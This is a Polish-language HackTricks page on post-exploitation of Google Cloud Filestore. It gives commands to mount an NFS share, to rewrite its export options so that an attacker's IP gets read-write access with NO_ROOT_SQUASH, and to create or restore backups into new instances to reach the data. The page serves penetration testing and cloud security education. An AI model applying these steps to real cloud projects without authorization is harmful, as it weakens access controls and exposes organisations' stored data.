GCP - Filestore Post Exploitation

Wesprzyj HackTricks

Filestore

Aby uzyskać więcej informacji na temat Filestore, sprawdź:

GCP - Filestore Enum

Zamontuj Filestore

Współdzielony system plików może zawierać poufne informacje interesujące z perspektywy atakującego. Mając dostęp do Filestore, można go zamontować:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

Aby znaleźć adres IP instancji plików, sprawdź sekcję wyliczania na stronie:

GCP - Filestore Enum

Usuń ograniczenia i uzyskaj dodatkowe uprawnienia

Jeśli atakujący nie znajduje się pod adresem IP z dostępem do udziału, ale masz wystarczające uprawnienia do jego modyfikacji, można usunąć ograniczenia lub dostęp do niego. Możliwe jest również przyznanie większych uprawnień dla twojego adresu IP, aby uzyskać dostęp administratora do udziału:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

Przywróć kopię zapasową

Jeśli istnieje kopia zapasowa, można ją przywrócić w istniejącej lub nowej instancji, aby jej informacje stały się dostępne:

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

Utwórz kopię zapasową i przywróć ją

Jeśli nie masz dostępu do udostępnienia i nie chcesz go modyfikować, możesz utworzyć kopię zapasową i przywrócić ją, jak wcześniej wspomniano:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
Wesprzyj HackTricks

Last updated